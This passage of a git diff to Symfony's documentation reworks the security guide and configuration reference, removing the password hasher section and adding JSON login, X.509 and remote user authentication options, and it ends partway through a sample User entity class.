zuBT73>SEPDU#9xq9#E6S>(@1VTvJ;w3&m6fA{fF#^K}x7@<?aiF4I%fqAhlFtlf9Z
zX*Nxql&h3KA68+vP)}Vvs}hM}ycDrvsLc54y2`J2aN_a+@FFOm{zuFzv!WLHlLdv8
zlv$o-QXOfAUaxXFTFc9bJhdk_w{|SlTB_`0qG+G=w^!TLYr&>{60d!JzHy67bsk@?
zHoANB;@WQfG0mT53tm*-wf9^8b@XbCOH(|F??(Rs+v8xj^<-_*7}y)jbt5)S1;$`^
zXzsUDU)9s;Zq0>KGn=QPsr@?eX(Y`VagEt{^WruL#whR^M!_)gA{EQYEHAQsi}@1T
z)z#O0x3A#~*9AI{z7WZLQT12eG!9|vg95?`876F+7qKXgsRDf%DIquj$`GYdAYT&I
zlDJJ_C-`aSNl~~k>2L>+!@)UHq<t$UW%ZnjT>&CnFZYawbE=McxkyDeKlECFuY7{d
z&p=@-9>?3J`kthLow*WUtI-kLXs1ly8?8Oot#UigZI5evfKvK=i#)5k1gZPpgS67q
zXZbulD@R`a@@u?pzWO(jK8h-t@lAd?{|WYnf9E@)J8z%p3EgIbF1$pMAB-XPVF<9E
ztli<?8%+UV69R^ak`~-NTZ-;i+Br@Sn;~6RL7#<s^UB%7NgV2uI3Z&gYLMwkTu!jh
z0wsr16x;^D2a>{p>?#p8N#VM>ox<dyK_Zufi3UirD+K|Ch%#)F$mRQZVG6<kgds%3
z#3j;VJ%z;M_+dKzzDd04Vv~Z$$+|p9wruBPifq4ss{JFMCz)5SXERZjc6s-opS@3#
zdcD8%qR5~28Tj{nT_mC~&%e+|VciV^2oZq{V$<|XqA{dCLxec;wMD*2mwch5L1>zM
zAyMQj<<#UWe}me8Hch^|x;gT7<m<?H82LW%BwZK6k*_84g>;OtBi{>>?<dJ%F)w1t
zy?-Q`=pbLL?fFJNfMM&1Qj^|q=tlt1S`dtaTPYZaC>$f?V?x+aaLlra$l|?8jZ@X^
zE{UT^Jr|;QV7O5BoY`vkak^$n&yJ<qVo=$rlLo?i<F;6{=E?EsZJ;aSXmgz?;dKJ7
z+~cs9zjzBdT3fKM@;WT#z5Z3c_HeJ?b$l7NUk>`e`~ovOk8~MCA-agt+Sb?)5HblU
zawsc$Q<7jr!dpTlurwS*aYzgUN{^OZ;kTE9AaG#fz+@<xpbLV@Ww2y3H1Jsz%OvCJ
z2B5$ePy+qnd_97sonRwAuXrCf@p<LE6F-Wgfnc%}6+h<k#L28O8~xXAytj@)GzOxC
zc1)!=L&Ffi1IVj|DTif!Faojf#+)PMAxYB{giKLP#Pt0y6aagW*ST);!t?s@GAjsd
z#y|cg%9Vt27y7U_@6Z}~3=rg^AIGB~2L{PREnM#yliCZ09@1nrS>#3Xr|h-TR5=7>
zJIhti79*`7wZ_Gmka9g$*#lxU7!WTr`4eh;i#FzdHm80dvNZLB%+LHl;HG{CPW_14
zRLp>z`uWkOe)8<sb+wS3Cec^<vmcvDpuhap*+Q0Vp~%ew*`5W8bXhnWtMw6PSvd5=
zkU=G==HbZ47_gcn8Nr65wH^9(c3d68e*a-wgNyZD1o-W88O{nfzeJ3~?T9hDc*MBd
zpP<@{$;Q|;kOAdR;C2;v9bQ%7Ld_;(>FIS+HWoJMOhEW9oClW_<&vUYQk0RTDCUPK
z3_|A=*jks(bg2}Njr#;hQEBTCKqyfh1!Jlrb7n(xdYYX=rc{~*DA-`6$VKXgF49Kz
zKNqR{!6J41HBRTka~8vMK0u*_*|3h$xyed<Ny^$=jgT<}rWv`(Q3fp~gVwt>o};X%
znah%LSyGOG&n4jB7h?9sTk*0~+Z{Rrwl+Tok((d0OTF3~gdiK-i?+xY+ah1&*w?YI
zV_(bcyS+^1s>;8J%$rFSDiJ#_w#3D#CSwU1j*RV*vG#@`7~61!(H0pqOJuC8n<HaK
z#*U0N$=Ge%WtWC==xEp+4IjwOh1&avU_TlIKf;mOpmZpOgi?qKNvow$kjkF<ezS6Q
zTkRy4{|4|h0E|+CT#l~G(RDex-%XD0f7haPVRu_LM(EREEMW?;?JNLiWw;F8A2~x8
zYH#QSZG>CkR=5SVYXL0;T%d)3i(3uoRs*^S%t3RgnfdsvW<lIyKzm!Z)~f-rTajRW
z5=4JjG-QF53EX7m0NGj&h|F`c+dIQ?u;bu^duM!Vra>GZTRp$TQL)|4Gobb!R-sQ>
z7)EMZ0z-z(?xCS(KL7<l?Vy1oh>^-=BLPB&x6tTSva2WyaS+yteVBx9*JHQm#o#T}
zvCg)~?2YzNhx!}x_y95xHOa6Dn}w8!GN>fM2tc(j4*?OZ4RG`4GW6=%SyVn3ZM+fe
zK*fQ|P*7nym?HhgHv$#?y>V1V0jQ%r0SchWXugyL8cC25bPJ`;qRwWJ*E9$XV@j`@
z9Yvd22c7nCkm4ZaFe;pYDdep%g<asZ7YLeV^oB8|K5?ayRAUMv3R5CGn9{3eM^P*d
zC&nDAI8@O_6{3YI@QqLfY43DU=RN{r0ab8qsgQ4|f@@2K*g=(EH9LwTg({&#6^AO?
zsG@Z)9Yk-1D%wfhDv1j*8~zWbK8x6^|3i>O6@)FJN}rk?^9^c#7dQ{dp^84LXdO@o
z-|Dzag!E6)ZI?tKv#002?4B-t9#o&6tF}*vp^YeQmx|q`LKmBLFroz`ffkIs6^dx*
z(WzsJ2y0K2H5;2%CoVLSn%HdM1B~ix3$fWgH9LwDX+wcXuSFcFI8fO;%-}ps(f4<n
c>y$r>;{K|+kU#T+FYmAZ4+&LL@g$-E09|VQ%K!iX

literal 0
HcmV?d00001

diff --git a/doctrine/registration_form.rst b/doctrine/registration_form.rst
index d999eda77e9..2b8d687ee16 100644
--- a/doctrine/registration_form.rst
+++ b/doctrine/registration_form.rst
@@ -14,7 +14,7 @@ form you must:
 #. :doc:`Create a form </forms>` to ask for the registration information (you can
    generate this with the ``make:registration-form`` command provided by the `MakerBundle`_);
 #. Create :doc:`a controller </controller>` to :ref:`process the form <processing-forms>`;
-#. :ref:`Protect some parts of your application <security-authorization>` so
+#. :ref:`Protect some parts of your application <security-access-control>` so
    only registered users can access to them.
 
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 794a09bb83b..123989258a6 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -335,9 +335,9 @@ or can get everything which partial matches the event name:
 
     The ability to match partial event names was introduced in Symfony 5.3.
 
-The :doc:`new authenticator-based Security </security/authenticator_manager>`
-system adds an event dispatcher per firewall. Use the ``--dispatcher`` option to
-get the registered listeners for a particular event dispatcher:
+The :doc:`security </security>` system uses an event dispatcher per
+firewall. Use the ``--dispatcher`` option to get the registered listeners
+for a particular event dispatcher:
 
 .. code-block:: terminal
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index db4558a939f..87f6fbd8fb7 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -40,7 +40,7 @@ Some of these options define tens of sub-options and they are explained in
 separate articles:
 
 * `access_control`_
-* `hashers`_
+* :ref:`hashers <passwordhasher-supported-algorithms>`
 * `firewalls`_
 * `providers`_
 * `role_hierarchy`_
@@ -120,273 +120,6 @@ and to allow anonymous users to the login form page.
 
 This option is explained in detail in :doc:`/security/access_control`.
 
-.. _encoders:
-
-hashers
--------
-
-This option defines the algorithm used to *hash* the password of the users
-(which in previous Symfony versions was wrongly called *"password encoding"*).
-
-If your app defines more than one user class, each of them can define its own
-hashing algorithm. Also, each algorithm defines different config options:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            password_hashers:
-                # auto hasher with default options
-                App\Entity\User: 'auto'
-
-                # auto hasher with custom options
-                App\Entity\User:
-                    algorithm: 'auto'
-                    cost:      15
-
-                # Sodium hasher with default options
-                App\Entity\User: 'sodium'
-
-                # Sodium hasher with custom options
-                App\Entity\User:
-                    algorithm:   'sodium'
-                    memory_cost:  16384 # Amount in KiB. (16384 = 16 MiB)
-                    time_cost:    2     # Number of iterations
-
-                # MessageDigestPasswordHasher hasher using SHA512 hashing with default options
-                App\Entity\User: 'sha512'
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <!-- auto hasher with default options -->
-                <security:password-hasher
-                    class="App\Entity\User"
-                    algorithm="auto"
-                />
-
-                <!-- auto hasher with custom options -->
-                <security:password-hasher
-                    class="App\Entity\User"
-                    algorithm="auto"
-                    cost="15"
-                />
-
-                <!-- Sodium hasher with default options -->
-                <security:password-hasher
-                    class="App\Entity\User"
-                    algorithm="sodium"
-                />
-
-                <!-- Sodium hasher with custom options -->
-                <!-- memory_cost: amount in KiB. (16384 = 16 MiB)
-                     time_cost: number of iterations -->
-                <security:password-hasher
-                    class="App\Entity\User"
-                    algorithm="sodium"
-                    memory_cost="16384"
-                    time_cost="2"
-                />
-
-                <!-- MessageDigestPasswordHasher hasher using SHA512 hashing with default options -->
-                <security:password-hasher
-                    class="App\Entity\User"
-                    algorithm="sha512"
-                />
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Entity\User;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            // auto hasher with default options
-            $security->passwordHasher(User::class)
-                ->algorithm('auto');
-
-            // auto hasher with custom options
-            $security->passwordHasher(User::class)
-                ->algorithm('auto')
-                ->cost(15);
-
-            // Sodium hasher with default options
-            $security->passwordHasher(User::class)
-                ->algorithm('sodium');
-
-            // Sodium hasher with custom options
-            $security->passwordHasher(User::class)
-                ->algorithm('sodium')
-                ->memoryCost(16384) // Amount in KiB. (16384 = 16 MiB)
-                ->timeCost(2);      // Number of iterations
-
-            // MessageDigestPasswordHasher hasher using SHA512 hashing with default options
-            $security->passwordHasher(User::class)
-                ->algorithm('sha512');
-        };
-
-.. versionadded:: 5.3
-
-    The ``password_hashers`` option was introduced in Symfony 5.3. In previous
-    versions it was called ``encoders``.
-
-.. tip::
-
-    You can also create your own password hashers as services and you can even
-    select a different password hasher for each user instance. Read
-    :doc:`this article </security/named_hashers>` for more details.
-
-.. tip::
-
-    Hashing passwords is resource intensive and takes time in order to generate
-    secure password hashes. In tests however, secure hashes are not important, so
-    you can change the password hasher configuration in ``test`` environment to
-    run tests faster:
-
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            # config/packages/test/security.yaml
-            password_hashers:
-                # Use your user class name here
-                App\Entity\User:
-                    algorithm: auto # This should be the same value as in config/packages/security.yaml
-                    cost: 4 # Lowest possible value for bcrypt
-                    time_cost: 3 # Lowest possible value for argon
-                    memory_cost: 10 # Lowest possible value for argon
-
-        .. code-block:: xml
-
-            <!-- config/packages/test/security.xml -->
-            <?xml version="1.0" encoding="UTF-8"?>
-            <srv:container xmlns="http://symfony.com/schema/dic/security"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:srv="http://symfony.com/schema/dic/services"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-                <config>
-                    <!-- class: Use your user class name here -->
-                    <!-- algorithm: This should be the same value as in config/packages/security.yaml -->
-                    <!-- cost: Lowest possible value for bcrypt -->
-                    <!-- time_cost: Lowest possible value for argon -->
-                    <!-- memory_cost: Lowest possible value for argon -->
-                    <security:password-hasher
-                        class="App\Entity\User"
-                        algorithm="auto"
-                        cost="4"
-                        time_cost="3"
-                        memory_cost="10"
-                    />
-                </config>
-            </srv:container>
-
-        .. code-block:: php
-
-            // config/packages/test/security.php
-            use App\Entity\User;
-            use Symfony\Config\SecurityConfig;
-
-            return static function (SecurityConfig $security) {
-                // ...
-
-                // Use your user class name here
-                $security->passwordHasher(User::class)
-                    ->algorithm('auto') // This should be the same value as in config/packages/security.yaml
-                    ->cost(4) // Lowest possible value for bcrypt
-                    ->timeCost(2) // Lowest possible value for argon
-                    ->memoryCost(10) // Lowest possible value for argon
-                ;
-            };
-
-
-.. _reference-security-encoder-auto:
-.. _using-the-auto-password-encoder:
-
-Using the "auto" Password Hasher
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-It automatically selects the best available hasher. Starting from Symfony 5.3,
-it uses the Bcrypt hasher. If PHP or Symfony adds new password hashers in the
-future, it might select a different hasher.
-
-Because of this, the length of the hashed passwords may change in the future, so
-make sure to allocate enough space for them to be persisted (``varchar(255)``
-should be a good setting).
-
-.. _reference-security-encoder-bcrypt:
-
-Using the Bcrypt Password Hasher
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-It produces hashed passwords with the `bcrypt password hashing function`_.
-Hashed passwords are ``60`` characters long, so make sure to
-allocate enough space for them to be persisted. Also, passwords include the
-`cryptographic salt`_ inside them (it's generated automatically for each new
-password) so you don't have to deal with it.
-
-Its only configuration option is ``cost``, which is an integer in the range of
-``4-31`` (by default, ``13``). Each single increment of the cost **doubles the
-time** it takes to hash a password. It's designed this way so the password
-strength can be adapted to the future improvements in computation power.
-
-You can change the cost at any time — even if you already have some passwords
-hashed using a different cost. New passwords will be hashed using the new
-cost, while the already hashed ones will be validated using a cost that was
-used back when they were hashed.
-
-.. tip::
-
-    A simple technique to make tests much faster when using BCrypt is to set
-    the cost to ``4``, which is the minimum value allowed, in the ``test``
-    environment configuration.
-
-.. _reference-security-sodium:
-.. _using-the-argon2i-password-encoder:
-.. _using-the-sodium-password-encoder:
-
-Using the Sodium Password Hasher
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-It uses the `Argon2 key derivation function`_. Argon2 support was introduced
-in PHP 7.2 by bundeling the `libsodium`_ extension.
-
-The hashed passwords are ``96`` characters long, but due to the hashing
-requirements saved in the resulting hash this may change in the future, so make
-sure to allocate enough space for them to be persisted. Also, passwords include
-the `cryptographic salt`_ inside them (it's generated automatically for each new
-password) so you don't have to deal with it.
-
-.. _reference-security-pbkdf2:
-.. _using-the-pbkdf2-encoder:
-
-Using the PBKDF2 Hasher
-~~~~~~~~~~~~~~~~~~~~~~~
-
-Using the `PBKDF2`_ hasher is no longer recommended since PHP added support for
-Sodium and BCrypt. Legacy application still using it are encouraged to upgrade
-to those newer hashing algorithms.
-
 firewalls
 ---------
 
@@ -699,6 +432,104 @@ csrf_token_id
 
 An arbitrary string used to identify the token (and check its validity afterwards).
 
+.. _reference-security-firewall-json-login:
+
+JSON Login Authentication
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+check_path
+..........
+
+**type**: ``string`` **default**: ``/login_check``
+
+This is the URL or route name the system must post to authenticate using
+the JSON authenticator. The path must be covered by the firewall to which
+the user will authenticate.
+
+username_path
+.............
+
+**type**: ``string`` **default**: ``username``
+
+Use this and ``password_path`` to modify the expected request body
+structure of the JSON authenticator. For instance, if the JSON document has
+the following structure:
+
+.. code-block:: json
+
+    {
+        "security": {
+            "credentials": {
+                "login": "dunglas",
+                "password": "MyPassword"
+            }
+        }
+    }
+
+The security configuration should be:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    anonymous: true
+                    lazy: true
+                    json_login:
+                        check_path:    login
+                        username_path: security.credentials.login
+                        password_path: security.credentials.password
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main" anonymous="true" lazy="true">
+                    <json-login check-path="login"
+                        username-path="security.credentials.login"
+                        password-path="security.credentials.password"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->anonymous();
+            $mainFirewall->lazy(true);
+            $mainFirewall->jsonLogin()
+                ->checkPath('/login')
+                ->usernamePath('security.credentials.login')
+                ->passwordPath('security.credentials.password')
+            ;
+        };
+
+password_path
+.............
+
+**type**: ``string`` **default**: ``password``
+
+Use this option to modify the expected request body structure. See
+`username_path`_ for more details.
+
 .. _reference-security-ldap:
 
 LDAP Authentication
@@ -755,12 +586,157 @@ fetch your users from an LDAP server, you will need to use the
 :doc:`LDAP User Provider </security/ldap>` and any of these authentication
 providers: ``form_login_ldap`` or ``http_basic_ldap`` or ``json_login_ldap``.
 
+.. _reference-security-firewall-x509:
+
+X.509 Authentication
+~~~~~~~~~~~~~~~~~~~~
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    x509:
+                        provider:    your_user_provider
+                        user:        SSL_CLIENT_S_DN_Email
+                        credentials: SSL_CLIENT_S_DN
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                    <x509 provider="your_user_provider"
+                        user="SSL_CLIENT_S_DN_Email"
+                        credentials="SSL_CLIENT_S_DN"
+                    />
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->x509()
+                ->provider('your_user_provider')
+                ->user('SSL_CLIENT_S_DN_Email')
+                ->credentials('SSL_CLIENT_S_DN')
+            ;
+        };
+
+user
+....
+
+**type**: ``string`` **default**: ``SSL_CLIENT_S_DN_Email``
+
+The name of the ``$_SERVER`` parameter containing the user identifier used
+to load the user in Symfony. The default value is exposed by Apache.
+
+credentials
+...........
+
+**type**: ``string`` **default**: ``SSL_CLIENT_S_DN``
+
+If the ``user`` parameter is not available, the name of the ``$_SERVER``
+parameter containing the full "distinguished name" of the certificate
+(exposed by e.g. Nginx).
+
+Symfony identifies the value following ``emailAddress=`` in this parameter.
+
+.. _reference-security-firewall-remote-user:
+
+Remote User Authentication
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    # ...
+                    remote_user:
+                        provider: your_user_provider
+                        user:     REMOTE_USER
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <remote-user provider="your_user_provider"
+                        user="REMOTE_USER"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->remoteUser()
+                ->provider('your_user_provider')
+                ->user('REMOTE_USER')
+            ;
+        };
+
+provider
+........
+
+**type**: ``string``
+
+The service ID of the user provider that should be used by this
+authenticator.
+
+user
+....
+
+**type**: ``string`` **default**: ``REMOTE_USER``
+
+The name of the ``$_SERVER`` parameter holding the user identifier.
+
 .. _reference-security-firewall-context:
 
 Firewall Context
 ~~~~~~~~~~~~~~~~
 
-Most applications will only need one :ref:`firewall <security-firewalls>`.
+Most applications will only need one :ref:`firewall <firewalls-authentication>`.
 But if your application *does* use multiple firewalls, you'll notice that
 if you're authenticated in one firewall, you're not automatically authenticated
 in another. In other words, the systems don't share a common "context":
@@ -846,13 +822,9 @@ providers
 ---------
 
 This options defines how the application users are loaded (from a database,
-an LDAP server, a configuration file, etc.) Read the following articles to learn
-more about each of those providers:
-
-* :ref:`Load users from a database <security-entity-user-provider>`
-* :ref:`Load users from an LDAP server <security-ldap-user-provider>`
-* :ref:`Load users from a configuration file <security-memory-user-provider>`
-* :ref:`Create your own user provider <custom-user-provider>`
+an LDAP server, a configuration file, etc.) Read
+:doc:`/security/user_providers` to learn more about each of those
+providers.
 
 role_hierarchy
 --------------
@@ -861,9 +833,4 @@ Instead of associating many roles to users, this option allows you to define
 role inheritance rules by creating a role hierarchy, as explained in
 :ref:`security-role-hierarchy`.
 
-.. _`PBKDF2`: https://en.wikipedia.org/wiki/PBKDF2
-.. _`libsodium`: https://pecl.php.net/package/libsodium
 .. _`Session Fixation`: https://owasp.org/www-community/attacks/Session_fixation
-.. _`Argon2 key derivation function`: https://en.wikipedia.org/wiki/Argon2
-.. _`bcrypt password hashing function`: https://en.wikipedia.org/wiki/Bcrypt
-.. _`cryptographic salt`: https://en.wikipedia.org/wiki/Salt_(cryptography)
diff --git a/security.rst b/security.rst
index 905d14f7d23..4c065b70e5e 100644
--- a/security.rst
+++ b/security.rst
@@ -4,144 +4,258 @@
 Security
 ========
 
-.. admonition:: Screencast
-    :class: screencast
+Symfony provides many tools to secure your application. Some HTTP-related
+security tools, like :doc:`secure session cookies </session>` and
+:doc:`CSRF protection </security/csrf>` are provided by default. The
+SecurityBundle, which you will learn about in this guide, provides all
+authentication and authorization features needed to secure your
+application.
 
-    Do you prefer video tutorials? Check out the `Symfony Security screencast series`_.
+.. _security-installation:
 
-Symfony's security system is incredibly powerful, but it can also be confusing
-to set up. Don't worry! In this article, you'll learn how to set up your app's
-security system step-by-step:
+To get started, install the SecurityBundle:
 
-#. :ref:`Installing security support <security-installation>`;
+.. code-block:: terminal
 
-#. :ref:`Create your User Class <create-user-class>`;
+    $ composer require symfony/security-bundle
 
-#. :ref:`Authentication & Firewalls <security-yaml-firewalls>`;
+If you have :ref:`Symfony Flex <symfony-flex>` installed, this also
+creates a ``security.yaml`` configuration file for you:
+
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        # https://symfony.com/doc/current/security/experimental_authenticators.html
+        enable_authenticator_manager: true
+        # https://symfony.com/doc/current/security.html#where-do-users-come-from-user-providers
+        providers:
+            users_in_memory: { memory: null }
+        firewalls:
+            dev:
+                pattern: ^/(_(profiler|wdt)|css|images|js)/
+                security: false
+            main:
+                lazy: true
+                provider: users_in_memory
+
+                # activate different ways to authenticate
+                # https://symfony.com/doc/current/security.html#firewalls-authentication
+
+                # https://symfony.com/doc/current/security/impersonating_user.html
+                # switch_user: true
+
+        # Easy way to control access for large sections of your site
+        # Note: Only the *first* access control that matches will be used
+        access_control:
+            # - { path: ^/admin, roles: ROLE_ADMIN }
+            # - { path: ^/profile, roles: ROLE_USER }
+
+That's a lot of config! In the next sections, the three main elements are
+discussed:
+
+`The User`_ (``providers``)
+    Any secured section of your application needs some concept of
+    a user. The user provider loads users from any storage (e.g. the
+    database) based on a "user identifier" (e.g. the user's email address);
+
+`The Firewall`_ & `Authenticating Users`_ (``firewalls``)
+    The firewall is the core of securing your application. Every request
+    within the firewall is checked if it needs an authenticated user. The
+    firewall also takes care of authenticating this user (e.g. using a
+    login form);
+
+`Access Control (Authorization)`_ (``access_control``)
+    Using access control and the authorization checker, you control the
+    required permissions to perform a specific action or visit a specific
+    URL.
 
-#. :ref:`Denying access to your app (authorization) <security-authorization>`;
+.. _create-user-class:
+.. _a-create-your-user-class:
 
-#. :ref:`Fetching the current User object <retrieving-the-user-object>`.
+The User
+--------
 
-A few other important topics are discussed after.
+Permissions in Symfony are always linked to a user object. If you need to
+secure (parts of) your application, you need to create a user class. This
+is a class that implements :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`.
+This class is often a Doctrine entity, but you can also use a dedicated
+Security user class.
 
-.. _security-installation:
+The easiest way to generate a user class is using the ``make:user`` command
+from the `MakerBundle`_:
 
-1) Installation
----------------
+.. code-block:: terminal
 
-In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the security feature before using it:
+    $ php bin/console make:user
+     The name of the security user class (e.g. User) [User]:
+     > User
 
-.. code-block:: terminal
+     Do you want to store user data in the database (via Doctrine)? (yes/no) [yes]:
+     > yes
 
-    $ composer require symfony/security-bundle
+     Enter a property name that will be the unique "display" name for the user (e.g. email, username, uuid) [email]:
+     > email
 
+     Will this app need to hash/check user passwords? Choose No if passwords are not needed or will be checked/hashed by some other system (e.g. a single sign-on server).
 
-.. tip::
+     Does this app need to hash/check user passwords? (yes/no) [yes]:
+     > yes
 
-    A :doc:`new authenticator-based Security </security/authenticator_manager>`
-    was introduced in Symfony 5.1, which will replace security in
-    Symfony 6.0. This system is almost fully backwards compatible with the
-    current Symfony security, add this line to your security configuration to start
-    using it:
+     created: src/Entity/User.php
+     created: src/Repository/UserRepository.php
+     updated: src/Entity/User.php
+     updated: config/packages/security.yaml
 
-    .. configuration-block::
+.. code-block:: php
 
-        .. code-block:: yaml
+    // src/Entity/User.php
+    namespace App\Entity;
 
-            # config/packages/security.yaml
-            security:
-                enable_authenticator_manager: true
-                # ...
+    use App\Repository\UserRepository;
+    use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+    use Symfony\Component\Security\Core\User\UserInterface;
 
-        .. code-block:: xml
+    /**
+     * @ORM\Entity(repositoryClass=UserRepository::class)
+     */
+    class User implements UserInterface, PasswordAuthenticatedUserInterface
+    {
+        /**
+         * @ORM\Id
+         * @ORM\GeneratedValue
+         * @ORM\Column(type="integer")
+         */
+        private $id;
 
-            <!-- config/packages/security.xml -->
-            <?xml version="1.0" encoding="UTF-8"?>
-            <srv:container xmlns="http://symfony.com/schema/dic/security"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:srv="http://symfony.com/schema/dic/services"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd
-                    http://symfony.com/schema/dic/security
-                    https://symfony.com/schema/dic/security/security-1.0.xsd">
+        /**
+         * @ORM\Column(type="string", length=180, unique=true)
+         */
+        private $email;
 
-                <config enable-authenticator-manager="true">
-                    <!-- ... -->
-                </config>
-            </srv:container>
+        /**
+         * @ORM\Column(type="json")
+         */
+        private $roles = [];
 
-        .. code-block:: php
+        /**
+         * @var string The hashed password
+         * @ORM\Column(type="string")
+         */
+        private $password;
+
+        public function getId(): ?int
+        {
+            return $this->id;
+        }
 
-            // config/packages/security.php
-            use Symfony\Config\SecurityConfig;
+        public function getEmail(): ?string
+        {
+            return $this->email;
+        }
 
-            return static function (SecurityConfig $security) {
-                $security->enableAuthenticatorManager(true);
-                // ...
-            };
+        public function setEmail(string $email): self
+        {
+            $this->email = $email;
 
-.. _initial-security-yml-setup-authentication:
-.. _initial-security-yaml-setup-authentication:
-.. _create-user-class:
+            return $this;
+        }
 
-2a) Create your User Class
---------------------------
+        /**
+         * The public representation of the user (e.g. a username, an email address, etc.)
+         *
+         * @see UserInterface
+         */
+        public function getUserIdentifier(): string
+        {
+            return (string) $this->email;
+        }
+
+        /**
+         * @deprecated since Symfony 5.3
+         */
+        public function getUsername(): string
+        {
+            return (string) $this->email;
+        }
 
-No matter *how* you will authenticate (e.g. login form or API tokens) or *where*
-your user data will be stored (database, single sign-on), the next step is always the same:
-create a "User" class. The easiest way is to use the `MakerBundle`_.
+        /**
+         * @see UserInterface
+         */
+        public function getRoles(): array
+        {
+            $roles = $this->roles;
+            // guarantee every user at least has ROLE_USER
+            $roles[] = 'ROLE_USER';
 
-Let's assume that you want to store your user data in the database with Doctrine:
+            return array_unique($roles);
+        }
 
-.. code-block:: terminal
+        public function setRoles(array $roles): self
+        {
+            $this->roles = $roles;
 
-    $ php bin/console make:user
+            return $this;
+        }
 
-    The name of the security user class (e.g. User) [User]:
-    > User
+        /**
+         * @see PasswordAuthenticatedUserInterface
+         */
+        public function getPassword(): string
+        {
+            return $this->password;
+        }
+
+        public function setPassword(string $password): self
+        {
+            $this->password = $password;
+
+            return $this;
+        }
 
-    Do you want to store user data in the database (via Doctrine)? (yes/no) [yes]:
-    > yes
+        /**
+         * Returning a salt is only needed, if you are not using a modern
+         * hashing algorithm (e.g. bcrypt or sodium) in your security.yaml.
+         *
+         * @see UserInterface
+         */
+        public function getSalt(): ?string
+        {
+            return null;
+        }
 
-    Enter a property name that will be the unique "display" name for the user (e.g.
-    email, username, uuid [email]
-    > email
+        /**
+         * @see UserInterface
+         */
+        public function eraseCredentials()
+        {
